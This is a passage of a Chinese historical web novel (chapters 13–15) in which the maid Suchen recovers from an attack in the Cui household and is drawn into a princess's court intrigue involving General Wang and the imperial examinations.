素尘已经不能通过耳边的声音判断自己身在何处,眼前更是阵阵发黑。
“公子……”她慌张地扯住崔明安的衣袖,带着失态的哽咽声,“救救我。”
护在腰间的手轻轻隔着布毯扶在她的脑袋上,无声的安慰通过他的掌心和肩膀上的温度传达给她。
不知是怎么,素尘才后知后觉地感受到死里逃生的恐惧,哆嗦的身体忽然一顿。
终于到了崔府门外,崔明安拦腰抱起她,不等门房反应过来,身后跟上来的文竹已经翻身下马把门打开了。
崔明安一路直奔那处僻静的院子,抬腿直接将自己曾精挑细选的木门踢开。
被文竹催促的府医也拿着药箱往房里进,看着公子把女子轻轻放在床上。
已过五旬的大夫秉着非礼勿视的原则,垂着头不敢看公子的神色:“公子,让在下为素尘……啊!”
只听云竹说素尘姑娘在祈福回府的路上受伤,怎么……已经白布盖头了?
想着素尘以往的好,大夫不禁泪从中来。
但那白布下的人忽然一动,把他吓得一哆嗦。
看着公子抬手把姑娘身上的白布掀开,露出姑娘虚弱的模样,大夫又被吓了下。
崔明安坐在床侧,没有要让开的意思:“林先生,劳烦了。”
林大夫按下心里的话,手脚麻利地打开药箱。
“要先将姑娘身上擦拭一下,还要拿着干净的热水过来……”他隔着绢布仔细探视素尘的脉象,声音却不比先前误会时轻松,“不行,已经失血太多了。”
坐在一旁的崔明安听到这句话,藏于袖里的手指忽的蜷缩了一下,面上平静:“要如何?”
林大夫没有发觉他的异样,只是转身让云竹把要的东西准备好,而自己也要去拿几样物件。
两人出去后,房里只剩下意识不清的素尘和沉默的崔明安。
素尘的脸色苍白,身上分明冷得可怖,但那发丝却被汗黏在面颊两侧。
崔明安看着她脖颈处的青紫红肿出神,在门外响起林大夫赶来的声音,他慌忙地站起身。
“公子!”云竹身后跟着一位年纪尚浅的姑娘,他却难掩笑容,“公主府上的女医来为素尘治疗。”
见有了帮手的林大夫没有多说什么,反而舒了口气。
“有了女医,姑娘身上的伤就多了几分把握。”
那位女医没有多说,只在崔明安应允后进屋查看。
“烦各位将这个屋子腾给在下。”
她话说得直接,让清醒一瞬的素尘想继续闭着眼睛。
那姑娘眼睛也尖,见素尘眼皮微动,手里把脉动作不变:“既然醒了,那就方便多了。”
门外准备离开的崔明安听到这话,往床这边扫了一眼。
素尘感受到那股视线,停在自己身上了一会,便移开了。
门被轻轻关上的声音响起,那位姑娘手脚麻利地将自己背着的布袋打开。
“在下先将姑娘的衣裙脱下来瞧瞧里边的伤。”
她轻声询问,手上已经准备好擦拭用的帕子。
素尘感觉到了她的善意,但眼前开始阵阵发黑。
女子不带笑意,但话却温柔:“放心,伤势算不得重,在下医术足够了。”
混着她身上带着的草药味,素尘竟真的安心睡了过去。
不知时间过了多久,她听到有人说话,好像在她耳边,又好像离她好远好远。
“娘?”她试着呼了一声,但又后悔似得闭上了嘴。
那人却不再言语。
素尘的眼前忽然浮现出一幕幕画面。
有想伸手摸她的村里屠夫,也有面带愧疚却紧紧抓住手里粮袋的爹爹,有人在后面追她……
她感受到带着寒意的树枝划伤她的皮肤,但她不能停下脚步。
耳边又响起那些呼喊声。
“大丫!你给爹娘弟弟一条活路吧!”阿爹掩着愤怒故作哀求的模样。
“别跑了!”那个一向懦弱的女人忽地大喊一声,而后又捂着嘴崩溃大哭,“若是跑,那就跑的远远的!”
素尘身上衣裙早就脏得看不清颜色,脚上的布鞋更是早已破烂得和没穿一样。
已经顾不上身上的疼痛冻伤,她脑里只剩下眼前满是白雪和枝丫阻拦的前路。
只在村子见过不知从哪里请来的小佛像的素尘,却含着泪虔诚地祈祷。
“求你了,让我活下去吧。”
前面没了路,但她还是一脚踏了出去。
但随着摔在地上的疼痛而来的,不是死亡的到来。
而是眼前如谪仙一般的公子掀开玉帘垂眸看着她,身上挂着的玉佩香囊叮当作响,高坐在上,不沾风雪。
“公……公子!”素尘骤然睁开眼,那个略带少年稚气的公子却不见了,独独剩下头戴玉冠身着官服的崔府家主。
身后的云竹显然也被她惊了一下,和屋里临时过来帮忙的婢女一齐往她这边看来。
素尘喉间一疼,无法开口。
“你喉处伤了,近日怕是不能多说话了。”
崔明安仿佛知晓她脑中所想,轻声解释。
蹲下身收拾些什么物件,响起了清脆的玉石碰撞声。
素尘顿了一下,忽的意识到他在作甚。
“公……咳咳……”她声音嘶哑得不成样子,却还是想出声,“奴婢来就好。”
崔明安把不慎打翻的首饰头面放回素尘床头的首饰盒里。
那里都是她常待的,用的料子也都不错,确实不会落崔府的面子。
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崔明安抬眸扫了一眼屋里角落放着的一个个精致漂亮的锦盒,眉头不自觉动了一动。
他等那位婢女端药过来后,转身离去:“你这些天先歇歇吧。”
留下不明所以的云竹左右看看,最后还是跟了上去。
一直打开的房门终于被关上了,一看便知是老夫人房里的婢女用玉匙轻轻地搅动着碗里的汤药。
她熟练地将素尘扶起,又腾出手将被子掖好:“素尘姑娘,小心烫。”
素尘想接过来自己喝,却被她轻轻地躲开:“姑娘的手也伤了好几处,还是阿琳来吧。”
看着这碗散着苦气的汤药,素尘也不好再推辞。
“这几天劳烦您了。”
阿琳比素尘还要年长几岁,动作轻柔体贴,听着这句话更是将话说得滴水不漏:“老夫人一直挂念着着公子,听闻您伤势重,唯一的婢子倒下了,怕满院都是些男子,不管是照顾姑娘还是那些个院内各事都不大方便。”
话里话外也只提起老夫人对公子的关心,既拉进了府里何处关系,却也明明白白地提醒着素尘注意自己的身份。
虽府里众人尊她一句姑娘,但终究不是正经有名有姓的官家小姐。
素尘就着她的动作轻轻抿了口药,也不管嘴里发苦,面上先扯出一抹笑。
“素尘自然对老夫人感激不尽,但琳姑娘的好,素尘也全记在心里。”
病弱中的没人不用多说就能让人心生怜惜,更何况是相处多日且哪哪都挑不出错的素尘呢?
琳姑娘不再多说,等最后一点药汤都喂了进去后,她细嫩的指尖立马捻起一颗蜜饯放进素尘嘴里。
收拾好东西后,门外便有人敲了敲门。
琳姑娘神色一肃,本已经端起汤碗准备出去的手一放。
门被她慢慢打开,身后跟着的就是先前见到的那位女医。
此次显然没有上次那般匆忙,如今模样果真一眼看出是公主府的人。
满头珠钗,一身华服玉饰,行走动作间发间流珠微动,要不是手边药箱,怕是没人不会觉得这是哪家高门官家小姐。
她看到坐起身的素尘,加快脚步向床边走来。
“醒来了?”她熟练的拿出绢布搭在素尘腕上,指尖微动,“虽是还有些虚弱,但好好养养就没什么问题了。”
“我……咳咳……”
那女医瞧着她咳得面色涨红,丝毫不觉意外。
“那人怕是下的死手,如今喉处伤了,近来少说些话便养好了。”
她拿出一个玉瓶,放到桌上:“身上的刀伤和擦伤用这瓶药。”
坐在旁边琳姑娘神色警惕,没有接过那玉瓶:“先前不是给了另外一瓶药吗?”
女医扭头看了她一眼,仿佛知道她心中所想,嗤笑一声:“虽说公主被你家大人告了一状,但确实还是让我拿了这御赐贡药给素尘姑娘。”
她起身,拿起药箱:“若是不放心,想先前一样拿去给你家府医验一验便是。”
女子转身自行离去。
留下素尘带着迟疑发问:“她说的是……”
莫非是……
琳姑娘摇头:“公主当街策马,被公子告了一状,听闻近来是被禁足了。”
拿了公主好处的素尘忽的心虚:“……”
13. 第 13 章
得了公主的好处,素尘不好多说些什么,只能默默地躺下。
不等琳姑娘过来,她便自己给自己掖好被子。
难得有机会歇一歇,素尘向来不是喜欢为难自己的性子。
琳姑娘把老夫人的态度带到,也本着善意,尽心尽力地照顾素尘。
看着素尘的动作,她轻笑一声,便将桌上空碗拿了出去。
却在转身的一瞬看到了那些锦盒,迟疑了一会还是没有说些什么。
一直注意着她的素尘神色平静,不慌不忙。
她从来没有越过界,自然不怕。
看着她关上门,这间厢房里只剩下她一人。
想起了什么,素尘决定坐起身从床下拿出藏起的木盒。
木盒不大,甚至与房内一切的崔府物件相比显得有些破旧。
但她无比珍重地打开,从里面拿出一张发黄的纸和仔细包着的炭笔,小心翼翼地写下今日梦里的内容。
娟秀婉丽的小楷仔细地布满那不大的纸张,字字句句看似冷静,她心里的情绪却藏在颤抖的笔锋里。
素尘将它折起,和那炭笔一起随意扔进木盒里。
里面已经塞满了纸条,都被折成各式各样的纸鹤。
“那公主府女医刚走。”
门外响起琳姑娘的声音,素尘抬手迅速将那木盒关上熟练地推回床底深处。
外面交谈声不停,大概可以听出是文竹过来询问素尘的状况,并被琳姑娘拉住说那药膏之事。
作为一路在老夫人手下走过来的人,心里对这些药膏吃食的警惕可谓是不低,
更何况还是一个刚结了梁子的华宁公主。
素尘听着他们的话,心里估摸着何时能好。
有些事情总是要出府才能做的。
木门被推开,琳姑娘手里还拿着药膏,只是比出去时多了几本话本。
“这是……”素尘看着花花绿绿的册子封面,迟疑地问,“这怕不是院里拿的吧?”
琳姑娘微笑,将那几本话本放在床边。
“府医先生说这药没问题。”
她打开那玉瓶,指尖轻轻在那膏药上一点,便卷起素尘的衣袖抹在她的伤口。
素尘还没仔细看过自己身上的伤,这么乍然望去,确实有几分可怖。
她喃喃自语:“倒是不觉得疼。”
听着这话,那琳姑娘轻笑:“虽不知那公主有何图谋,但请来的那女医怕真是什么神医。”
她又在捻了点药膏,往素尘眼前一送:“这确实是御赐贡药不假,您当时那情况少说是在喉处要留下什么病根了,但这姑娘一来,倒像是着凉小病,说是过些天就没大碍了,在养段时间便全好了。”
看来这位琳姑娘是在这两天照顾她这个昏迷的病人憋坏了,和在老妇人院里做活时有些不同。
今天说的话比素尘往老妇人院里与她搭话时听到的多的多。
素尘借着机会听她说话,与她关系又拉近了几分。
上好药后,她指着那些花花绿绿的话本,解释道:“适才找到的话本,这两天不至于再让你费脑看那些账本,看看这些吧,你们刚及笄的小姑娘不都喜欢看这些?”
刚及笄的素尘眨眨眼,她还真的没看过这些个话本,只在旁听老夫人训斥过几回崔明锦不许看这些个情爱读物罢了。
“既然拿都拿来了,你就看看吧。”
“虽然比不得小姐们无忧无虑,但至少不要整日老气横秋的。”自认不算年轻的琳姑娘起身,留下这句话便出去了。
素尘知她好意,就拿起最上边的那本看上一看。
那精致的书封和苍劲有力的墨迹都掩盖不住《我的状元赘婿》这个书名给她的冲击,
“?”难怪老夫人不许崔明锦这段时间出去参宴。
这本书是谁的,真的很难猜呢。
至于底下几本……估计也是一样的故事吧。
素尘随意翻开几页,里面却不似封面几字那般直白。
虽故事情节只讲些美好情爱,但素尘却觉得自己想得都些多了。
光是她看得懂的典故就有好几处,词句更是笔力深厚,怕不是哪个前来会考的精英学子写的吧。
高门小姐爱上寒门书生,不被世俗出身束缚,两人私定终身。
看着私定终身的那段,素尘惊得闭上书。
“疯了吗?”她看着这本书,上边描写得动人含蓄,但分明是……是些淫词艳语!
她又把手边那几本话本全部翻开,果真全是些内容火辣的玩意。
尤其是压在最后的那本,虽书名含蓄,内容更是惊人。
漂亮娟秀的簪花小楷掺着金墨写着“京华雪”,与前边几个但是格格不入。
里面的故事却也是格格不入的那个。
主角从高门贵女和落魄小姐变成了高门之中处处受苦的婢女。
她心里一跳,又看着开篇既是那婢女在侍奉公子更衣时不慎摔跤,直接落入那公子怀里。
“……”
门突然被打开了,素尘感觉自己的心都漏了一拍。
已经顾不得其他话本了,只下意识地将手中这本藏到被子里。
“藏什么呢?”文竹跟在琳姑娘身后,面上瞧着有几分憔悴。
他满脸虔诚地看着她:“快些好吧!”
素尘眨眼,藏在被子里的手浸出不少汗:“怎么了?”
文竹晃晃手里的账本,虽被琳姑娘看着不许拿来叨扰她,但他还是特意过来哭诉:“公子让我暂时接过你的活,我要忙晕了!”
他确实比起前几日要瘦了许多,但素尘却一点儿都不心疼:“这几日便麻烦你了,毕竟此次还是得好好静养。”
文竹委屈地又从袖口拿出一直藏着的胭脂,话里带着歉意:“这次是我们没及时赶过来,不然也不至于这般严重。我记得你去岁上街采买时说过这家胭脂颜色好看,我和云竹特意买来赔罪。”
他们三人一起在公子身旁侍奉,虽平时忙于手中事务,但确实算的上一起长大。
素尘想说些什么,却被他止住:“你喉处受伤,先好好歇歇。”
他又拿起那些账本走了,只是临时还要调侃一声:“原来你也喜欢看这些话本子,下次当生辰礼物送你。”
文竹性子细腻开朗,也不多问她藏起来的那本是哪本便转身离开了。
琳姑娘也不叨扰,带上门也跟着出去了。
满院忙人,偏偏平日里最是停不住脚的素尘得了机会躺着。
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只是不知为何,崔明安这几日除了上朝,几乎都坐于家中做事。
偶尔在女医过来时一起来她房里看看。也不多说,就是坐在屏风后盯着那些被素尘仔细放着的锦盒。
被屏风挡住视线的素尘自然不知他在作甚,只是心里暗自想着怕是自己太久未起身做事,让公子有些想法了。
为了快些好,她连话本都不再多看,每日便是喝药换药,话也不能多说。
也不知是不是公主府女医当真医术高超,还是素尘实在谨遵医嘱,没过半月便能出府管事了。
素尘一大清早就从账房拿来账本,又去库房核对了下账目。
等云竹和文竹陪着公子下朝回府时才看到坐在院里精神抖擞的素尘。
翻着账本的素尘听到声响抬头,起身行礼:“公子早。”
“好了?”崔明安抬步跨过门槛,向她走去,“府里不用时时盯着,文竹抽空看一眼便好了。”
素尘莞尔一笑:“素尘省得,但确实好得差不多了,只是那些痂和紫红淤血未消,瞧着吓人罢了。”
崔明安朱色官袍袖口微动,他心中有惑,便直接问道:“你发间簪子是何时买的?”
此话一出,三人皆是一愣。
尤其是文竹云竹二人,神色更是疑惑。
素尘不动神色地偏了偏头,将头上佩饰露出:“若是这支玉簪,是去岁生辰云竹和文竹两人送的礼。”
“……”崔明安沉默着,好似在回想些什么。
怕自己遗漏,素尘继续说:“头上珠钗是年末时在城南铺子里买的……”
崔明安拂袖而去,留下一句:“头上如此素净,怕是让外人以为我崔府窘迫至此。”
素尘抬手摸着自己头上珠玉,百思不得其解。
虽比不上贵女,但她身上首饰怕也是称不上窘迫吧?
云竹文竹虽不解,但还是抬步跟上公子。
崔明安进了书房,坐于案前。
“你们……”他开口,但又停了话头,“罢了。”
两人相看一眼,尽是疑惑。
但文竹先试探性的开口:“公子可是觉得素尘姑娘首饰有些少了?”
没想到崔明安冷笑一声:“不,反而觉得她屋里首饰挺多的。”
他起身,指了指桌上公文:“罢了,既是院里事务有人处理了,便回御史台吧。”
身上的官袍未脱,便带着公文一并回了宫。
只是在院里看见素尘时,没了平时的和煦。
等他们离开后,素尘继续坐下翻看手里的账本。
唯一被她放到一边的只有茶楼账本,正准备拿起来仔细再看看时,院门口有人敲门。
“姑娘。”
推开门便是文竹带着笑意的脸,那双圆眼笑得贼眉鼠眼的:“公子让我带话。”
“怎么?”素尘看着他。
文竹说:“公子让我问你喜欢的是哪家首饰?”
“诶?”素尘眨眼,“可是那家只是间小铺子。”
“公子大方,若你不喜首饰,便和我们一样换成银钱。”
听着他这句,素尘眼也笑得弯弯。
“公子大方。”
财神爷今年终于眷顾她了吗?
14. 第 14 章
送走了财神,素尘垂眸看了眼手中的账本。
虽和自己原先想要避开这摊浑水的打算有些出入,但今日她确实还真要再去一趟茶楼。
街上的贺岁红灯笼撤了些,但年初热闹气氛依旧浓烈。
茶楼门外的小摊又掐着时间支了起来,坐在门口的多了个乞讨的丐儿。
素尘一下马车便抬手将帷帽拉了下来,把那准备好的账本带在身上。
“姑娘来了!”茶楼掌柜老远就听人说崔府马车又来了,他赶忙带着人出来迎她。
见着那乞儿立马头疼地挥手让店里伙计去赶人。
素尘出声:“等等,将这个给他们吧。”
说着,她将自己腰间香囊取下,从上面缝的暗袋里拿出一枚铜板。
“诶?”掌柜接过这枚铜板,神色茫然地走过去扔给那个小乞丐。
小乞丐熟练地躲开店里伙计推搡的手,蹲下身从地板上捡起铜板。
自对面酒楼开起来后,这条街来往贵人愈发多了,这掉到地上的铜板怕是一点儿灰尘都没沾上。
见他终于离开的掌柜长舒一口气,和素尘解释道:“近来城里多了许多外边逃进来的流民,总有几个占不到落脚地方的孩子会在这里休息下。”
他说话的时候略有些紧张,等待着素尘的反应。
见被帷帽遮住神情的女子沉默着,他扯着笑说:“人多了起来,店里一时就没注意外边的情况。确实是我的疏忽……”
“掌柜说笑了,”素尘抬步进了店里,把手里的账本晃了晃,“素尘只是过来问问账本的事罢了,您怎么每次都这么慌张啊?”
她轻笑一声,声音温柔:“我也没多说什么啊,不是还让你给他一枚铜板了吗?”
掌柜不再多话,领着她进了账房。
今日没了清谈会,倒是比起上次来平静了许多。
从账房窗口望出去,三三两两的公子小姐围坐在一起品茗作词。
素尘端坐在窗边木椅上,等着掌柜和账房先生找出她要的那一册项目。
“姑娘……”掌柜悄悄按下账房先生想拿出账本的手,转身腆着脸说,“您来得突然,我们这几日账房正在重新整理,怕是一时找不到。”
早就把帷帽放在一边的素尘把目光从窗外移到他身上,没有拆穿他的小动作。
沉默在房里漾开,账房先生最先沉不住气。
他小声地询问:“怎么办……”
声音不大,但是在这无人言语的房里显得如此突兀。
终于后知后觉自己做了蠢事的账房先生闭上眼睛轻轻拍了一下自己的嘴巴,求救似的看着掌柜。
素尘仿佛被逗笑一般,放下自己手中的茶杯。
“既是如此,那素尘便过几日再来吧。”
戴上帷帽起身离开,没等掌柜跟上便告辞了。
但她刚推开木门,便看见不远处角落里独自坐着的青年。
略显清秀的面孔隐在阴处,唯一显露在光下的下半张脸噙着笑。
“姑娘,在下送您……”
素尘向抬手示意掌柜停下脚步,回头矮身向他行了一礼:“您去忙吧,我想坐下饮杯茶。”
她径直走向那个角落,仿佛与那位公子约好了一般在他对面坐下。
那公子伸手为她倒了一杯茶水,略带戏谑地开口:“素尘姑娘这是……”
“无名公子不必叫我姑娘,素尘只是一介奴婢罢了。”
素尘接过这杯茶水,却只在手间轻转,不饮半口。
没想到她还记得自己不说姓名这事,无名公子掩唇低声笑了起来。
看着他笑的开心,素尘眼睛眯了眯,也勾起唇说:“但素尘不是来找您的,方便带我去见公主殿下吗?”
听着这话,那笑声一滞,转而变成呛住的咳嗽声:“咳咳咳……姑娘这是什么意思?在下听不懂。”
素尘把杯子放下,故作苦恼地看着他:“公子身手实在出众,既要藏起身份,那就不应该出手相救。”
她指着自己的喉处,无奈地摇摇头:“素尘唯一拿得出手的就是记性好,实在忘不掉您的脸。”
故意化妆改了相貌的无名公子慌张了一瞬,但马上就平静了下来。
“罢了罢了,果然又赌输了,”他起身,扭头看她,“那跟我走吧?去看看那个酒鬼?”
素尘跟着他离开茶楼,直接进了那对面酒楼。
身后掌柜仿佛被背叛的眼神太灼人了,无视不了的素尘只好对他礼貌笑笑。
踏步进了那声名远扬的醉仙楼里,才发觉这楼里布局之精妙。
里面丝竹声和乐妓们的歌声在楼里盘桓,外面街上却一点儿都听不见。
茶楼的雅客们不被叨扰,里面的酒客也沉醉于声声乐声里。
有穿着讲究的婢女站在楼梯处带路:“姑娘,上楼吧。”
那位女扮男装的无名公子看到早已在此等候的婢女,没好气地冷哼一声。
素尘向那婢女行了一礼,却被对方侧身避开。
她柔声说:“请吧。”
越是上楼,越是能闻见果酒香味。
怕是楼里的上等美酒都往楼上包间里送了,早就听闻醉仙楼里分为三层,除了大厅接些散客和富家公子,二层和顶层的包厢尽是些达官显贵们所坐之处。
她看着引自己从二楼包厢侧面暗梯继续向上走的婢女,头上带着的帷帽拉得更紧了些。
原来顶层所坐之人,是公主殿下。
幽闭的梯门被推开,映入眼帘的却是大开着的窗外美景。
女子随意坐在窗边,抬手将杯里的美酒饮尽:“来了?”
无名公子直接靠坐在一旁的窗边木桌上,大咧咧地翘起二郎腿:“嘁,还真被你猜对了,她确实认出我了。”
素尘低头听着这话,熟练地跪下行礼:“奴婢素尘见过殿下。”
还不等她跪下,旁边的奴婢得了命令赶忙将她扶起。
公主看着她,挑眉问:“所以你是为什么要见我?”
素尘从袖口拿出一柄匕首,双手奉上:“多谢公主和这位……公子相救。”
一见那匕首,无名公子便着急起身:“这是我扔给你的,怎么是还给她啊?”
但公主的手比她更
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快,拿起那把匕首仔细看过:“答应我的,这把匕首归我了。”
她们二人相处之间没有身份之差,虽看似不合却十分熟捻。
素尘被帷帽遮住的脸神色不变,却不断地琢磨着两人的关系。
公主拿过一酒杯,马上有婢女上前添酒:“坐下饮杯酒吧,这酒还不错。”
素尘不便推辞,遂脱下帷帽上前坐下。
她从未饮过酒,只学着饮茶的习惯轻轻抿一口。这果酒闻着温和甜腻,还未下肚就将素尘辣得轻咳起来。
“没喝过酒?”公主皱眉看着她,忽的反应过来她年纪轻轻就跟在无趣的崔明安身后,着实不应该饮过酒。
她仰头大笑,让那引路的婢女去对面茶楼买壶茶来。
感觉被取笑的素尘没出声,手里却诚实地放下了酒杯。
看着虽是白天却已经带上几分醉意的公主,心里暗暗组织着等会要找机会说的话。
结果等那婢女带了茶水上来,公主就挥手,让其余人先出去,甚至让那位无名公子也出去:“本宫想和她单独聊聊。”
门一关上,素尘便抢了先机开口:“素尘此次过来是为了和殿下道谢的,救命之恩无以为报,奴婢唯一能为殿下做的怕也只是将殿下的秘密瞒在肚子里。”
那公主转着指间金圈,认真听完她的话后问:“所以那天你果然在那里?”
素尘苦笑:“您不是已经知道了吗?何必如今这般问。”
女人狡黠一笑:“想逗逗你啊,可惜你这反应太无聊了。”
素尘没回话,只冷静地看着她。
沉默了片刻的公主嘴角笑意终于淡了些,总结她适才的话:“所以……你这是想说互不相欠?”
“嗯。”素尘低头。
“噗嗤……”公主点了点桌上放着的匕首,金属声和她略带冷意的话一起响起,“你怕不是痴了?听到本宫的秘密却还能活命,难道不是本宫又给了你一条命?你这是又欠了一命。”
素尘心里沉了几分,但也预想到这个结局,不慌不忙地抬眸和这位随意便能夺她姓名的皇室贵女对上目光,眼神坚定:“适才说了,奴婢命贱,还是殿下的秘密值钱。或者说,是殿下和赵大人共同地秘密值钱。”
听着她把另一人的名字说出,公主眼里终于起了几分真正的兴趣:“哦?怎么忽然提起户部尚书的名字?”
“奴婢唯一能拿出手的,怕只有记性好了,”素尘恭敬地说,“或者说,认人认声音也算是个本领。”
“当时是个本领,罢了罢了,本宫就当你是两清了,只是……”
门外突然响起敲门声,打断了她的话。
公主也不恼,嘴角的笑意反而更浓了。
“殿下,林相公和夫人来了。”先前引路婢女的声音响起。
听着这话,素尘被公主抬手一推,顺势躲到门边屏风后。
公主发间步摇珠玉相碰,发出悦耳的叮当声。
那明艳雍容的面容带上几分算计的笑意,起身开了门。
只有她们两人听得见的声音透过屏风传了过来:“恐怕你又得听点东西了。”
15. 第 15 章
素尘站在屏风后面,听着那只笑面狐狸开了门,将那将军夫妇请了进来。
那日在宴上便见过这两位贵人,如今听到声音立马就回想起他们二人来。
偶尔与崔府女眷有些交际的王夫人先开了口:“殿下此次是有何要事?”
不急着回答的公主殿下让人为二人添了酒水,还上了许多酒楼菜肴:“这不是想与大人和夫人一起吃个午饭?”
王大人沉声:“多谢殿下好意,微臣白日不饮酒,喝那茶水便好了。”
素尘透过这折屏边角孔洞看着外面的情景,发觉将军所指之处便是专为她带的茶壶。
公主摇头,体贴地说道:“这壶怕是已经凉了,我让婢女去对面茶楼买壶上等的茶来。”
她话说的体贴,将军也不再多说。
素尘看见将军夫人和他碰了眼神后,才开口与公主寒暄。
三人围坐在一起,虽心中各怀心事,但面上都迎合着这其乐融融的气氛。
除了王夫人偶露出冷淡不耐的模样,素尘几乎都要以为他们真是过来饮酒说笑的。
公主让婢女为二人添了茶,自己却举起酒杯自饮一口。
“夫人曾进宫助我开蒙习礼,本宫当时尚且年幼,竟从未唤您一声老师。”
王夫人眉头微皱,眼见要冷哼一声,却被旁边王大人按住。
公主分明将他们二人之间那些小动作瞧的一清二楚,但眼神直接地看向素尘这边。
要不是那窥视的孔洞实在细小,素尘就当真以为公主是对着自己笑。
看着她面上的笑容,王夫人忍不住,拂开王大人桌下的手:“老身可不记得教了殿下白日嗜酒的毛病。我们也不过进宫几日,哪担得起殿下一声老师?”
她言语带刺,对面的公主却不恼,反而将敬酒的姿态做的更加认真:“一日为师终身为父。”
当朝嫡公主这话一出,在场两人皆不敢搭话。
王大人一直躲在自己夫人身后,避开和公主的交锋,但现在这个场面,怕已经不是自家夫人可以应对的话题了。
“殿下此话不可乱说,微臣怎能与殿下攀扯!”王大人起身向她躬身行礼,“今日您叫我夫妻二人前来,又将微臣同乡赶考的学生关了起来,究竟所为何事?”
但那女子听到他的话后,满意地笑了笑,仿佛都在她的计划之中。
“大人……”公主看着楼下茶馆平时考生们相会的地方,摇了摇头,语气温柔:“哪里是我有事,不是您二人想与我聊聊吗?”
王夫人顺着她的视线往下看,神色大惊。
素尘看不见她们到底看到了些什么,只知道从王夫人低头的那一刻起,席面上平衡的局势向公主那边倾斜了。
“夫人……”王大人感受到了旁边女人的情绪变化,自己面上却不能有所松动,“微臣不解殿下何意。”
他这话说的不妥。
素尘心里暗自思忖,虽她未入官场,见识短浅,但名声赫赫的将军大人怎一直被公主殿下牵着走?
若不是王大人名不符其实,怕是这殿下手段比她想象的还要可怖。
外面三人的对峙声声入耳,素尘看着自己面前奢侈华贵的屏风,才忽然发觉今日之鲁莽。
应在府内多听公子说些公主之事的,底细不清,竟就来了这里。
心中懊恼之际,那句不该被她听见的话还是不顾她的意愿钻进她的耳里:“父皇见您近日对朝中官员调动想法比较多,正值会考之际,故让本宫来听听您的见解。”
公主话里态度恭敬,听不出丝毫讽刺之意:“虽您南下治匪有功,心系苍生,但本宫和父皇还当真不知您对各位考生学业如此关心。”
蹲下身的素尘看不到她的神色,自然也不知在王夫人看不见的瞬间,王大人飞快地看了眼屏风的方向。
尤其是素尘衣袖落下瞬间带着屏风影子暗了些时,那王将军面色变得难看至极。
“臣惶恐!”他不再多说,一再退让,“是犬子近来与几位考生相谈甚欢,若是陛下怕我家那纨绔子耽误了他们学业,那今日回去便教训教训我家小子。”
酒水在杯里划过杯壁,混着流水声蔓延在房里的是酒里青梅香。
“诶!”公主瞧话已经说到这个份上了,便也退后一步:“大人不必如此,您是为父皇立下大功的凌云将军,本宫也只是一个只懂玩乐的无良公主罢了。”
她仰头大笑,举杯与王大人的茶杯相碰。
素尘抱着自己的双膝,听着气氛逐渐缓和下来,推杯换盏之间,只有一直没出声的王夫人让她不知情况。
不知蹲了多久,她发觉腿开始发麻了,便慢慢地扶着地面起身。
“姑娘,”先前引路的婢女端着新拿来的酒壶,故作无意地走到这屏风后小声地喊她,“您渴了吗?”
她体贴至极,倒是愈发显得坐在那的主人强势无礼。
得了素尘摇头示意,她垂头微笑,抬步去前面伺候了。
独留下素尘站在此处,听着将军夫妇未动碗筷便起身请求离去。
王夫人的声音终于响起,与先前端庄相比,藏在里面的愤怒和委屈显得如此突兀:“臣妇告辞,也祝殿下日日安康。”
从原先偷看的孔洞看去,那端庄华贵的贵妇人不顾身旁夫君的反应,转身先一步拂袖离去。
那王大人转身跟在她身后,面上神色平静,看不出和自家夫人一般的怨恼情绪在。
更是没有先前在与公主相谈时话中懦弱胆小之态,却分明十分忌惮她这屏风后不愿出面之人。
而藏于屏风后的素尘虽看清了室里三人举动,却也无法看懂他们之间的交锋。
自己在掌家管事时揣摩人心这无往不利的本事,如今却像是无知愚笨之人的天真模样。
但不等她再多想,带着几分醉意的公主已经走了过来,透过她先前偷看的那孔洞看她:“姑娘这又多看了我一个秘密,是不是又欠了我一点儿?”
那只美眸因饮了酒,染上些泛红的水光,眉眼弯弯,含着笑意。
素尘已知她心思深沉,此乃大坑,不可靠近。
“分明是殿下强让奴婢听的,怎能算在素尘身上?”
这话说的不输气势,但却还是逗笑了这位贵人。
公主绕过屏风,顺着她的话说:“那算本宫欠你的?”
素尘一向是得了好处不放口的,听着这话,明明心知不应多谈,却下意识应声:“那当然……”
“既如此,那我……本宫还你个人情。”公主果真是醉了,她将自己头上的珠钗摘下一支,扔给素尘。
见人已经走了的无名公子刚好
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推门进来,见这一幕,笑着摇着扇子歪头问:“如此华丽之物,怕是会压了素尘姑娘出水芙蓉之姿。”
风流之态让公主嗤笑一声,但也不多说些什么,只是直起身来,不似先前醉态。
“这珠钗便送给你了,”看着素尘犹豫的模样,公主心领神会地补充,“不是御赐之物,若是不方便戴上,大可卖了换钱。”
素尘听了她后半句,知晓她的好意,便收下了。
“府里还有事,今日便……”
公主看着她,让婢女将门关上:“本宫让你走了吗?”
那无名公子压着她坐下,给她拿了个新杯子,倒了杯茶。
“今日与我聊聊天吧?”
素尘推脱:“府里真的……”
“若是崔府真的出了事,大可让崔明安来公主府找本宫。”公主讲这句话时,还有些跃跃欲试。
素尘想起自家公子前些天告状之事,结果便是公主禁足,一出来便是找她。
她不好多说什么,只能端起茶杯,细细品茶。
“让我想想,聊些什么呢?”公主靠在窗前,看着下面热闹的情景,嘴角噙着笑,“啊!你认识那个人吗?”
顺着她的指尖向下看,王府下人在茶楼外面拉走一位公子,虽高挑,却看着清瘦无力。
“那是王将军的嫡子,名字是……本宫忘记了。”
素尘没见过他,但从脑海里找到一个名字:“王昆。”
公主抬手打了个响指:“对,就叫这个。”
听着这段对话的无名公子手里动作停了下来,面上风流的笑也僵住了。
素尘惯会察言观色,如今心里猜测万千。
“王将军南下治匪后,原本平庸无能的王家次子一朝成了赫赫有名的大将军,”公主自顾自地说,她转头看着素尘,“听闻你原也是南边水乡人,对这水匪了解多少?”
素尘回答的很快:“欺软怕硬,欺男霸女,无恶不赦。”
“那南方水匪除了,你可开心?”
公主本带着戏谑的表情在素尘摇头的那刻变得严肃起来。
“为什么?”那无名公子错愕之中,声音露出几分女气。
素尘不知他反应为何如此之大,既聊到这里,她只想把话说完尽快离开:“若是多年以前,自是大快人心。但王将军立功可是四年前左右?”
“是。”没等公主开口,那无名公子已经回答了。
一直瘫在椅背上的姿态渐渐向前倾,俨然对她的话很感兴趣。
只是脸上的表情不像平时一般吊儿郎当,也不似觉得她故弄玄虚的不耐,却像是在谈及自己一般紧张。
“近些年来,南边水灾频发,水灾过后就是蝗灾,灾后又是一灾,可怜的土地收成早已让百姓们背井离乡,更有甚者怕是直接饿死在路边。”
“匪就是匪,不是吗?”
